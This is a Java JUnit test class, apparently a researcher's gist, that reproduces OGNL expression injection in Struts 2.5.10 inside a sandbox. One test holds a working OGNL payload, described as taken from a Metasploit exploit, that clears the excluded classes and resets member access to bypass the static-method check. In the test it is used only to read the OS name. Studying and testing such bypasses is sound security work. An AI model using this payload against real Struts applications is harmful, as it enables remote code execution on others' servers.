Struts 2.5.10 Ognl code execution with unit tests
package io.sqreen.sandbox; | |
import com.opensymphony.xwork2.ActionContext; | |
import com.opensymphony.xwork2.TextProvider; | |
import com.opensymphony.xwork2.XWorkTestCase; | |
import com.opensymphony.xwork2.conversion.impl.XWorkConverter; | |
import com.opensymphony.xwork2.ognl.OgnlUtil; | |
import com.opensymphony.xwork2.ognl.OgnlValueStack; | |
import com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor; | |
import com.opensymphony.xwork2.util.CompoundRoot; | |
import com.opensymphony.xwork2.util.LocalizedTextUtil; | |
import com.opensymphony.xwork2.util.ValueStack; | |
import ognl.PropertyAccessor; | |
import org.junit.Test; | |
import java.util.HashMap; | |
import java.util.Locale; | |
import java.util.Map; | |
import java.util.stream.Collectors; | |
import java.util.stream.Stream; | |
public class TestOgnl extends XWorkTestCase { | |
private OgnlUtil ognlUtil; | |
@Override | |
public void setUp() throws Exception { | |
super.setUp(); | |
ognlUtil = container.getInstance(OgnlUtil.class); | |
assertNotNull(ognlUtil); // first step : being able to initialize OgnlUtil class | |
} | |
@Test | |
public void testBasicOgnl() { | |
setupContext(true); // we start with safety checks disabled | |
// check very basic behavior : an unknown localized key is returned as-is | |
assertEquals("hello", getMissingLocalizedText("hello")); | |
} | |
@Test | |
public void testGetSystemProperty_easyMode() { | |
// still with safety checks disabled, we try to get a system property from OGNL expression | |
setupContext(true); | |
assertEquals(System.getProperty("os.name"), getMissingLocalizedText("%{@java.lang.System@getProperty('os.name')}")); | |
} | |
@Test | |
public void testGetSystemProperty_staticMethodDisabled() { | |
// with safety checks, we arent able to get a system property | |
setupContext(false); | |
assertEquals("", getMissingLocalizedText("%{@java.lang.System@getProperty('os.name')}")); | |
} | |
@Test | |
public void testGetSystemProperty_bypassStaticMethodCheck() { | |
// here we reuse the available exploit to bypass safety checks. | |
// once this works, we have a malicious payload ! | |
setupContext(false); | |
String ognl = Stream.of( | |
// | |
// this is disabling OgnlUtil static method access, directly taken from metaspoilt exploit | |
// here equivalent to executing in plain java : | |
// | |
// ognlUtil.setAllowStaticMethodAccess(Boolean.toString(true)); | |
// | |
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).", | |
"(#_memberAccess?", | |
"(#_memberAccess=#dm):", | |
"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).", | |
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).", | |
"(#ognlUtil.getExcludedPackageNames().clear()).", | |
"(#ognlUtil.getExcludedClasses().clear()).", | |
"(#context.setMemberAccess(#dm)))).", | |
// | |
// what we expect as output | |
"(@java.lang.System@getProperty('os.name'))" | |
).collect(Collectors.joining()); | |
assertEquals(System.getProperty("os.name"), getMissingLocalizedText("%{" + ognl + "}")); | |
} | |
private void setupContext(boolean allowStaticMethodAccess) { | |
ValueStack valueStack = createValueStack(allowStaticMethodAccess); | |
Map<String, Object> contextObjects = new HashMap<>(); | |
ActionContext actionContext = new ActionContext(contextObjects); | |
actionContext.setValueStack(valueStack); | |
// action context is stored in a thread-local | |
ActionContext.setContext(actionContext); | |
} | |
private String getMissingLocalizedText(String defaultMessage) { | |
System.out.println(String.format("payload : %s", defaultMessage)); | |
return LocalizedTextUtil.findText(TestOgnl.class, "text_that_does_not_exists", Locale.getDefault(), defaultMessage, new Object[0]); | |
} | |
private OgnlValueStack createValueStack(boolean allowStaticMethodAccess) { | |
OgnlValueStack stack = new MyValueStack( | |
container.getInstance(XWorkConverter.class), | |
(CompoundRootAccessor) container.getInstance(PropertyAccessor.class, CompoundRoot.class.getName()), | |
container.getInstance(TextProvider.class, "system"), allowStaticMethodAccess); | |
container.inject(stack); | |
// we have to set stack container | |
stack.getContext().put(ActionContext.CONTAINER, container); | |
ognlUtil.setAllowStaticMethodAccess(Boolean.toString(allowStaticMethodAccess)); | |
return stack; | |
} | |
// we need to subclass because of protected OgnlValueStack constructor | |
// note that we could also have moved this test class to the same package to avoid this | |
private class MyValueStack extends OgnlValueStack { | |
public MyValueStack(XWorkConverter xWorkConverter, CompoundRootAccessor compoundRootAccessor, TextProvider textProvider, boolean allowStaticMethodAccess) { | |
super(xWorkConverter, compoundRootAccessor, textProvider, allowStaticMethodAccess); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment